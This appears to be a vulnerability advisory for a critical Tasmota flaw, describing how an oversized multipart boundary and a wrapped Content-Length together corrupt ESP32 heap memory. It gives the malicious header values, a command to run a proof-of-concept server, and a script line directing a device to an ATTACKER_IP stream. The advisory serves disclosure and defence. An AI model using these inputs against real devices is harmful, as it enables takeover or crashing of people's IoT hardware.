
CVE-2026-38422 — Remote Code Execution via Combined Buffer Overflows in Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
Severity: Critical (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg()
Author: Saidakbarxon Maxsudxonov
Disclosure: Responsible — reported to Tasmota before publication
The fetch_jpg() function in Tasmota's scripter driver (xdrv_10_scripter.ino) contains two compounding memory corruption vulnerabilities that together enable remote code execution on ESP32-based devices running Tasmota <= 15.3.0.3:
strcpy() overflow into a fixed 40-byte boundary[] buffer — corrupts adjacent heap memory including WiFiClient/HTTPClient vtable pointers (see also CVE-2026-38426)uint16_t integer wraparound on Content-Length — allocates undersized buffer causing stream state corruption (see also CVE-2026-38427)Used together in a single attack session, these two primitives maximize heap corruption and significantly increase the probability of achieving arbitrary code execution.
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
The PoC server:
fetchjp() trigger)Content-Length: 65537 (wraparound)See CVE-2026-38422_poc.py for full implementation.
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
The device must be running a Tasmota script using fetchjp(). The attacker controls the server the device connects to (or performs MITM on an existing connection).
Any ESP32-based Tasmota device running version <= 15.3.0.3 with scripter support enabled and a script using fetchjp() to connect to an external MJPEG server.